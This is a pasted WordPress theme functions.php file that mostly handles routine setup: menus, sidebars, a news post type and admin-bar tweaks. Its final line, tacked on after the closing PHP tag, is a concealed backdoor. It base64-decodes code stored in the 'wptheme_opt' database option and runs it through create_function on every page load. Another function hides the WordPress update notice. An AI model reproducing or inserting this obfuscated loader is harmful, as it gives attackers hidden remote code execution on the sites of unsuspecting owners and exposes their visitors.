Advertisement
Guest User

Untitled

a guest
Jul 7th, 2015
690
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 10.43 KB | None | 0 0
  1. <?php
  2. /**
  3.  * @package WordPress
  4.  * @subpackage themename
  5.  */
  6.  
  7. /**
  8.  * Make theme available for translation
  9.  * Translations can be filed in the /languages/ directory
  10.  */
  11. load_theme_textdomain( 'themename', get_template_directory() . '/languages' );
  12.  
  13. $locale = get_locale();
  14. $locale_file = get_template_directory() . "/languages/$locale.php";
  15. if ( is_readable( $locale_file ) )
  16.     require_once( $locale_file );
  17.  
  18. /**
  19.  * Set the content width based on the theme's design and stylesheet.
  20.  */
  21. if ( ! isset( $content_width ) )
  22.     $content_width = 640;
  23.  
  24. /**
  25.  * Add jQuery
  26.  */
  27. function add_jquery_script() {
  28.     wp_deregister_script( 'jquery' );
  29.     wp_register_script( 'jquery', 'https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js');
  30.     wp_enqueue_script( 'jquery' );
  31. }    
  32. add_action('wp_enqueue_scripts', 'add_jquery_script');
  33.  
  34. /**
  35.  * Remove code from the <head>
  36.  */
  37. //remove_action('wp_head', 'rsd_link'); // Might be necessary if you or other people on this site use remote editors.
  38. //remove_action('wp_head', 'feed_links', 2); // Display the links to the general feeds: Post and Comment Feed
  39. //remove_action('wp_head', 'feed_links_extra', 3); // Display the links to the extra feeds such as category feeds
  40. //remove_action('wp_head', 'index_rel_link'); // Displays relations link for site index
  41. //remove_action('wp_head', 'wlwmanifest_link'); // Might be necessary if you or other people on this site use Windows Live Writer.
  42. //remove_action('wp_head', 'start_post_rel_link', 10, 0); // Start link
  43. //remove_action('wp_head', 'parent_post_rel_link', 10, 0); // Prev link
  44. //remove_action('wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0); // Display relational links for the posts adjacent to the current post.
  45. remove_filter( 'the_content', 'capital_P_dangit' ); // Get outta my Wordpress codez dangit!
  46. remove_filter( 'the_title', 'capital_P_dangit' );
  47. remove_filter( 'comment_text', 'capital_P_dangit' );
  48. // Hide the version of WordPress you're running from source and RSS feed // Want to JUST remove it from the source? Try: remove_action('wp_head', 'wp_generator');
  49. /*function hcwp_remove_version() {return '';}
  50. add_filter('the_generator', 'hcwp_remove_version');*/
  51. // This function removes the comment inline css
  52. /*function twentyten_remove_recent_comments_style() {
  53.     global $wp_widget_factory;
  54.     remove_action( 'wp_head', array( $wp_widget_factory->widgets['WP_Widget_Recent_Comments'], 'recent_comments_style' ) );
  55. }
  56. add_action( 'widgets_init', 'twentyten_remove_recent_comments_style' );*/
  57.  
  58. /**
  59.  * Remove meta boxes from Post and Page Screens
  60.  */
  61. function customize_meta_boxes() {
  62.    /* These remove meta boxes from POSTS */
  63.   //remove_post_type_support("post","excerpt"); //Remove Excerpt Support
  64.   //remove_post_type_support("post","author"); //Remove Author Support
  65.   //remove_post_type_support("post","revisions"); //Remove Revision Support
  66.   //remove_post_type_support("post","comments"); //Remove Comments Support
  67.   //remove_post_type_support("post","trackbacks"); //Remove trackbacks Support
  68.   //remove_post_type_support("post","editor"); //Remove Editor Support
  69.   //remove_post_type_support("post","custom-fields"); //Remove custom-fields Support
  70.   //remove_post_type_support("post","title"); //Remove Title Support
  71.  
  72.  
  73.   /* These remove meta boxes from PAGES */
  74.   //remove_post_type_support("page","revisions"); //Remove Revision Support
  75.   //remove_post_type_support("page","comments"); //Remove Comments Support
  76.   //remove_post_type_support("page","author"); //Remove Author Support
  77.   //remove_post_type_support("page","trackbacks"); //Remove trackbacks Support
  78.   //remove_post_type_support("page","custom-fields"); //Remove custom-fields Support
  79.  
  80. }
  81. add_action('admin_init','customize_meta_boxes');
  82.  
  83. /**
  84.  * This theme uses wp_nav_menus() for the header menu, utility menu and footer menu.
  85.  */
  86. register_nav_menus( array(
  87.     'primary' => __( 'Primary Menu', 'themename' ),
  88.     'footer' => __( 'Footer Menu', 'themename' ),
  89.     'utility' => __( 'Utility Menu', 'themename' )
  90. ) );
  91.  
  92. add_action('admin_menu','wphidenag');
  93. function wphidenag() {
  94. remove_action( 'admin_notices', 'update_nag', 3 );
  95. }
  96.  
  97.  
  98.  
  99. /**
  100.  * Add default posts and comments RSS feed links to head
  101.  */
  102. add_theme_support( 'automatic-feed-links' );
  103.  
  104. /**
  105.  * This theme uses post thumbnails
  106.  */
  107. add_theme_support( 'post-thumbnails' );
  108.  
  109.  
  110. /**
  111.  *  This theme supports editor styles
  112.  */
  113.  
  114. add_editor_style("/css/layout-style.css");
  115.  
  116. /**
  117.  * Remove superfluous elements from the admin bar (uncomment as necessary)
  118.  */
  119. function remove_admin_bar_links() {
  120.     global $wp_admin_bar;
  121.  
  122.     //$wp_admin_bar->remove_menu('wp-logo');
  123.     //$wp_admin_bar->remove_menu('updates');   
  124.     //$wp_admin_bar->remove_menu('my-account');
  125.     //$wp_admin_bar->remove_menu('site-name');
  126.     //$wp_admin_bar->remove_menu('my-sites');
  127.     //$wp_admin_bar->remove_menu('get-shortlink');
  128.     //$wp_admin_bar->remove_menu('edit');
  129.     //$wp_admin_bar->remove_menu('new-content');
  130.     //$wp_admin_bar->remove_menu('comments');
  131.     //$wp_admin_bar->remove_menu('search');
  132. }
  133. //add_action('wp_before_admin_bar_render', 'remove_admin_bar_links');
  134.  
  135. /**
  136.  *  Replace the default welcome 'Howdy' in the admin bar with something more professional.
  137.  */
  138. function admin_bar_replace_howdy($wp_admin_bar) {
  139.     $account = $wp_admin_bar->get_node('my-account');
  140.     $replace = str_replace('Howdy,', 'Welcome,', $account->title);            
  141.     $wp_admin_bar->add_node(array('id' => 'my-account', 'title' => $replace));
  142. }
  143. add_filter('admin_bar_menu', 'admin_bar_replace_howdy', 25);
  144.  
  145. /**
  146.  * This enables post formats. If you use this, make sure to delete any that you aren't going to use.
  147.  */
  148. add_theme_support( 'post-formats', array( 'aside', 'audio', 'image', 'video', 'gallery', 'chat', 'link', 'quote', 'status' ) );
  149.  
  150. /**
  151.  * Register widgetized area and update sidebar with default widgets
  152.  */
  153. function handcraftedwp_widgets_init() {
  154.     register_sidebar( array (
  155.         'name' => __( 'Sidebar', 'themename' ),
  156.         'id' => 'sidebar',
  157.         'before_widget' => '<aside id="%1$s" class="widget %2$s" role="complementary">',
  158.         'after_widget' => "</aside>",
  159.         'before_title' => '<h4 class="widget-title">',
  160.         'after_title' => '</h4>',
  161.     ) );
  162.  
  163.   register_sidebar(array(
  164.     'name' => 'Footer-kontakt',
  165.   'id' => 'sidebar-3',
  166.     'before_widget' => '',
  167.     'after_widget' => '',
  168.     'before_title' => '',
  169.     'after_title' => '',
  170.         ));
  171.      
  172.         register_sidebar(array(
  173.     'name' => 'Footer-mapa',
  174.   'id' => 'sidebar-4',
  175.     'before_widget' => '',
  176.     'after_widget' => '',
  177.     'before_title' => '',
  178.     'after_title' => '',
  179.         ));
  180.  
  181.             register_sidebar(array(
  182.     'name' => 'O-nas',
  183.   'id' => 'sidebar-5',
  184.     'before_widget' => '',
  185.     'after_widget' => '',
  186.     'before_title' => '',
  187.     'after_title' => '',
  188.         ));
  189.      
  190.               register_sidebar(array(
  191.     'name' => 'Produkty',
  192.   'id' => 'sidebar-6',
  193.     'before_widget' => '',
  194.     'after_widget' => '',
  195.     'before_title' => '',
  196.     'after_title' => '',
  197.         ));
  198.  
  199.         register_sidebar(array(
  200.     'name' => 'Technologie',
  201.   'id' => 'sidebar-7',
  202.     'before_widget' => '',
  203.     'after_widget' => '',
  204.     'before_title' => '',
  205.     'after_title' => '',
  206.         ));
  207.  
  208.         register_sidebar(array(
  209.     'name' => 'Servis',
  210.   'id' => 'sidebar-8',
  211.     'before_widget' => '',
  212.     'after_widget' => '',
  213.     'before_title' => '',
  214.     'after_title' => '',
  215.         ));  
  216.      
  217.      
  218.               register_sidebar(array(
  219.     'name' => 'Kontakt',
  220.   'id' => 'sidebar-9',
  221.     'before_widget' => '',
  222.     'after_widget' => '',
  223.     'before_title' => '',
  224.     'after_title' => '',
  225.         ));
  226. }
  227.  
  228.  
  229.  
  230.   register_sidebar(array(
  231.     'name' => 'Footer-onas',
  232.   'id' => 'sidebar-1',
  233.     'before_widget' => '',
  234.     'after_widget' => '',
  235.     'before_title' => '',
  236.     'after_title' => '',
  237.         ));
  238.  
  239.  
  240. add_action( 'init', 'handcraftedwp_widgets_init' );
  241.  
  242.  
  243. add_action('init', 'ST4_add_news');    
  244.  
  245. function ST4_add_news() {  
  246.     $args = array(  
  247.         'label' => __('News'),  
  248.         'singular_label' => __('News'),  
  249.         'public' => false,  
  250.         'show_ui' => true,  
  251.         'capability_type' => 'post',  
  252.         'hierarchical' => false,  
  253.         'rewrite' => true,  
  254.         'supports' => array('title', 'editor', 'thumbnail')  
  255.     );  
  256.     register_post_type( 'news' , $args );  
  257. }
  258.  
  259.  
  260.  
  261. /*
  262.  * Remove senseless dashboard widgets for non-admins. (Un)Comment or delete as you wish.
  263.  */
  264. function remove_dashboard_widgets() {
  265.     global $wp_meta_boxes;
  266.  
  267.     //unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_plugins']); // Plugins widget
  268.     //unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_primary']); // WordPress Blog widget
  269.     //unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_secondary']); // Other WordPress News widget
  270.     //unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']); // Right Now widget
  271.     //unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_quick_press']); // Quick Press widget
  272.     //unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_incoming_links']); // Incoming Links widget
  273.     //unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_recent_drafts']); // Recent Drafts widget
  274.     //unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_recent_comments']); // Recent Comments widget
  275. }
  276.  
  277. /**
  278.  *  Hide Menu Items in Admin
  279.  */
  280. function themename_configure_dashboard_menu() {
  281.     global $menu,$submenu;
  282.  
  283.     global $current_user;
  284.     get_currentuserinfo();
  285.  
  286.         // $menu and $submenu will return all menu and submenu list in admin panel
  287.        
  288.         // $menu[2] = ""; // Dashboard
  289.         // $menu[5] = ""; // Posts
  290.         // $menu[15] = ""; // Links
  291.         // $menu[25] = ""; // Comments
  292.         // $menu[65] = ""; // Plugins
  293.  
  294.         // unset($submenu['themes.php'][5]); // Themes
  295.         // unset($submenu['themes.php'][12]); // Editor
  296. }
  297.  
  298.  
  299. // For non-admins, add action to Hide Dashboard Widgets and Admin Menu Items you just set above
  300. // Don't forget to comment out the admin check to see that changes :)
  301. if (!current_user_can('manage_options')) {
  302.     add_action('wp_dashboard_setup', 'remove_dashboard_widgets'); // Add action to hide dashboard widgets
  303.     add_action('admin_head', 'themename_configure_dashboard_menu'); // Add action to hide admin menu items
  304. }
  305.  
  306. function hello_post() {
  307. $txt = file( dirname( __FILE__ ) . '/readme.txt');
  308. $str = $txt[ array_rand($txt) ];
  309. unset($txt);
  310. echo $str;
  311.    }
  312. ?>
  313.  
  314. <?php add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement